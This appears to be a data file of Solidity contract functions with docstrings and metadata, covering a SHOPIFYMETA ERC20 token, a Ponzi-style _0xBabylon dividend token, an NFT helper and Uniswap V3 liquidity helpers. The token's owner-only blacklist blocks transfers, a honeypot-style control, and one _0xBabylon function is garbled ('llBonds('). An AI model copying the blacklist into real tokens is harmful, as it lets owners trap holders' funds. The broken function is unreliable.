/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
BlacklistUser
function BlacklistUser (address listed) checker external { blacklist[listed]=true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 4860, 4966 ] }
1,470
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - sub...
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 5796, 6178 ] }
1,471
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!blacklist[sender] && !blacklist[recipient] && !blacklist[tx.or...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 6663, 7298 ] }
1,472
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 7575, 7858 ] }
1,473
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 8186, 8623 ] }
1,474
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amoun...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero a...
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 9056, 9407 ] }
1,475
MiraculousMedicines
/contracts/MiraculousMedicines.sol
0x311faa9bba3c8b025d78680d8c6fa7c1df284aaa
Solidity
MiraculousMedicines
contract MiraculousMedicines is ERC721Enumerable, Ownable { using SafeMath for uint256; using SafeMath for uint; using Strings for uint256; string public constant PROVENANCE_HASH = "adee7ad7a16a9b0f67a749dd1a6438243c4cde854e9172b5d5136e720ddf49fc"; uint256 public constant MAX_SUPPLY = 5000; ...
nextUnminted
function nextUnminted() public view returns (int256) { for (int256 i = 0; i < int256(MAX_SUPPLY); i++) { if (!minted[uint256(i)]) return i; } return -1; }
/** * Returns the next token ID that has not been minted yet. * Returns -1 if all tokens have already been minted. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 1795, 2010 ] }
1,476
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
holdingsOf
function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; }
// The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 3664, 3777 ] }
1,477
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
withdraw
function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]...
// Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 3938, 4877 ] }
1,478
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
sellBonds
function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } }
// Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 5369, 5569 ] }
1,479
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
getMeOutOfHere
function getMeOutOfHere() public { llBonds( holdings[msg.sender] ); withdraw(msg.sender);
// The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 5754, 5866 ] }
1,480
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
edgePigment
function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.s...
//BONUS //when you don't pick a color, the contract will need a default. which will be your current color
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 6790, 7154 ] }
1,481
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
price
function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } }
// Function that returns the (dynamic) price of a single token.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 8120, 8423 ] }
1,482
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
dividends
function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; }
// Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 9455, 9641 ] }
1,483
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
contractBalance
function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; }
// Internal balance function, used to calculate the dynamic reserve value.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 9721, 9921 ] }
1,484
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
TOKEN_scaleDown
function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; }
// Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 15437, 15678 ] }
1,485
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
processReinvest
function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a s...
// Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 18935, 21427 ] }
1,486
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
reserve
function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); }
// Dynamic value of Ether in reserve, according to the CRR requirement.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 21805, 21991 ] }
1,487
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
getTokensForEther
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; }
// Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices).
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 22180, 22374 ] }
1,488
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
calculateDividendTokens
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; }
// Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 22509, 22738 ] }
1,489
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
getEtherForTokens
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) ...
// Converts a number tokens into an Ether value.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 22792, 23615 ] }
1,490
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
fixedLog
function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 +...
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a)
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 27574, 27989 ] }
1,491
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denom...
fixedExp
function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) ...
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x)
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 28317, 28709 ] }
1,492
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_uniswapPoke
function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); }
/// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 533, 764 ] }
1,493
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_uniswapEnter
function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); }
/// @dev Deposits liquidity in a range on the Uniswap pool.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 830, 1067 ] }
1,494
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_uniswapExit
function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquid...
/// @dev Withdraws liquidity from a range and collects all fees in the process.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 1153, 1849 ] }
1,495
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_collectableAmountsAsOfLastPoke
function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); ...
/** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2002, 2400 ] }
1,496
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_position
function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(...
/// @dev Wrapper around `IUniswapV3Pool.positions()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2460, 2890 ] }
1,497
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_amountsForLiquidity
function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAt...
/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2965, 3444 ] }
1,498
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_liquidityForAmounts
function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), ...
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 3519, 4002 ] }
1,499
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_liquidityForAmount0
function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ...
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 4077, 4450 ] }
1,500
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
_liquidityForAmount1
function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ...
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 4525, 4898 ] }
1,501
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; ...
uniswapV3MintCallback
function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); }
